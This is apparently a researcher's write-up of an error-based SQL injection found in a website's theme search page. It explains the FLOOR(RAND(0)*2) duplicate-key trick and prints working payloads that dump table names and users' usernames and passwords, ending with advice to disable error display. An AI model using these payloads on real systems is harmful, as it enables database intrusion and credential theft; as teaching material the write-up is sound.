Hi everybody

I don’t post much write-ups online because most of the work done privately and under NDA , but this time i decided to publish this (anonymously after website owner agreed ) because too many developers insists that you can’t exploit complicated SQL , or non result SQL (example: count(*) sql).

First I got a call from one of my friends told me that a hacker contacted them and told them that he found a sql-injection in their website and express his intentions to blackmail them.

I opened the website and tried to play with the parameter just to check , in a couple of minutes i found a bug in their search page .

search page make ajax request when you filter the result to the page , the term parameter is the one is not filtered.

/?FilterThemes?tags[]=free&term='

it generates a database error page with full sql dump ( debug on mode :) ).

ERROR 1064

You have an error in your SQL syntax; check the manual that corresponds to your MYSQL server version for the right syntax to use near '',themes.tag_title) != 0' at line 1 SELECT COUNT(*) FROM (`themes`) JOIN `authors` on `authors`.`id` = `themes`.`author` FIND_IN_SET(''',themes.tag_title) != 0 or `themes`.`title` like '%'%' or `themes`.`desc` like '%'%' AND match (themes.tag_title) against ('free' in boolean mode) order by `themes`.`id` desc limit 12

Awesome , but oh wait …

the parameter pass first to count query before it pass to aggregate query.. so must our payload pass the two queries and execute it with union..

OR ….

I remembered uncommon way we used it to exploit blind SQL injection which don’t generate any result to the browser — this way can done only if errors is displayed, great that what we have here , right!

The POC

lets change the payload for a poc

/?FilterThemes?tags[]=free&term=d%' AND (SELECT 1337 FROM(SELECT COUNT(*),CONCAT('hello',FLOOR(RAND(0)*2),'world')x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a) AND '%'='

BINGO :)

ERROR 1062

Duplicate entry 'hello1world' for key 'group_key' SELECT COUNT(*) FROM (`themes`) JOIN `authors` on `authors`.`id` = `themes`.`author` FIND_IN_SET(' d%' AND (SELECT 1337 FROM(SELECT COUNT(*),CONCAT('hello',FLOOR(RAND(0)*2),'world')x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a) AND '%'=' ',themes.tag_title) != 0 or `themes`.`title` like '% d%' AND (SELECT 1337 FROM(SELECT COUNT(*),CONCAT('hello',FLOOR(RAND(0)*2),'world')x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a) AND '%'=' %' or `themes`.`desc` like '% d%' AND (SELECT 1337 FROM(SELECT COUNT(*),CONCAT('hello',FLOOR(RAND(0)*2),'world')x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a) AND '%'=' %' AND match (themes.tag_title) against ('free' in boolean mode) order by `themes`.`id` desc limit 12

Did you notice :) , the expression CONCAT('hello',FLOOR(RAND(0)*2),'world') has been evaluated and displayed :)

let me explain the sql query and how it works before we finish our exploit.

There is some information you needs to know about MySQL.

When mysql try to run a sql with multiple sub queries in it , it evaluate the sub queries first then the parent When using group by required a unique key.

To understand more, lets try some queries on our terminal.

Select count(*) from INFORMATION_SCHEMA.CHARACTER_SETS;

Normal count sql to count the number of records inside Information Scheme database (default database in mysql). now lets play with this sql a little.

select count(*), version() x from INFORMATION_SCHEMA.CHARACTER_SETS group by x

again nothing special , we added version() (function retrieve the mysql version) and named it x and then we grouped by it.

+----------+----------------------------------------+

| count(*) | x |

+----------+----------------------------------------+

| 40 | 10.2.3-MariaDB-10.2.3+maria~xenial-log |

+----------+----------------------------------------+

I use maria db in my local machine , its a fork from mysql but with much optimization

Ok lets be aggressive

SELECT count(*), CONCAT(version(),floor(rand(0) *2)) x from INFORMATION_SCHEMA.CHARACTER_SETS group by x;

We added a little change ( floor(rand(0) * 2) ) and if you run this sql you will get

ERROR 1062 (23000): Duplicate entry '10.2.3-MariaDB-10.2.3+maria~xenial-log1' for key 'group_key'

Do you remember the information i told you before about Mysql requires group key to be unique :).

the ( floor(rand(0) * 2) ) generates a sequence of 0, 1, 1, 0, 1, 1

and the version() will be always the same.

so the the first iteration of count(*) will be

CONCAT(version(),floor(rand(0) *2))

=

10.2.3-MariaDB-10.2.3+maria~xenial-log0

Then

CONCAT(version(),floor(rand(0) *2))

=

10.2.3-MariaDB-10.2.3+maria~xenial-log1

Then

CONCAT(version(),floor(rand(0) *2))

=

10.2.3-MariaDB-10.2.3+maria~xenial-log1 => here will be duplicated ;) then we got the error

Duplicate entry '10.2.3-MariaDB-10.2.3+maria~xenial-log1' for key 'group_key'

do you got it :)

lets back to our exploitation.

We got the error , we got the leak .. now we need some valuable informations.

Starting with INFORMATION_SCHEME.tables , we can grab tables names.

with simple script we can grab all tables names by extracting the result from the db error , just feed the script with payload.

%d%' AND (SELECT 1337 FROM(SELECT COUNT(*),CONCAT((select TABLE_NAME from INFORMATION_SCHEMA.TABLES LIMIT 1,1),FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.TABLES GROUP BY x)a) AND '%'='%

now we know the users table. modifying the script with the new payload to grab users data.

%d%' AND (SELECT 1337 FROM(SELECT COUNT(*),CONCAT((select concat(username,'-',password) from users LIMIT 1,1),FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.TABLES GROUP BY x)a) AND '%'='%

Thats it.

Lesson learned

always turn errors off in production. don’t underestimate any bug , 99% of bugs can be exploited someway.

Stay safe.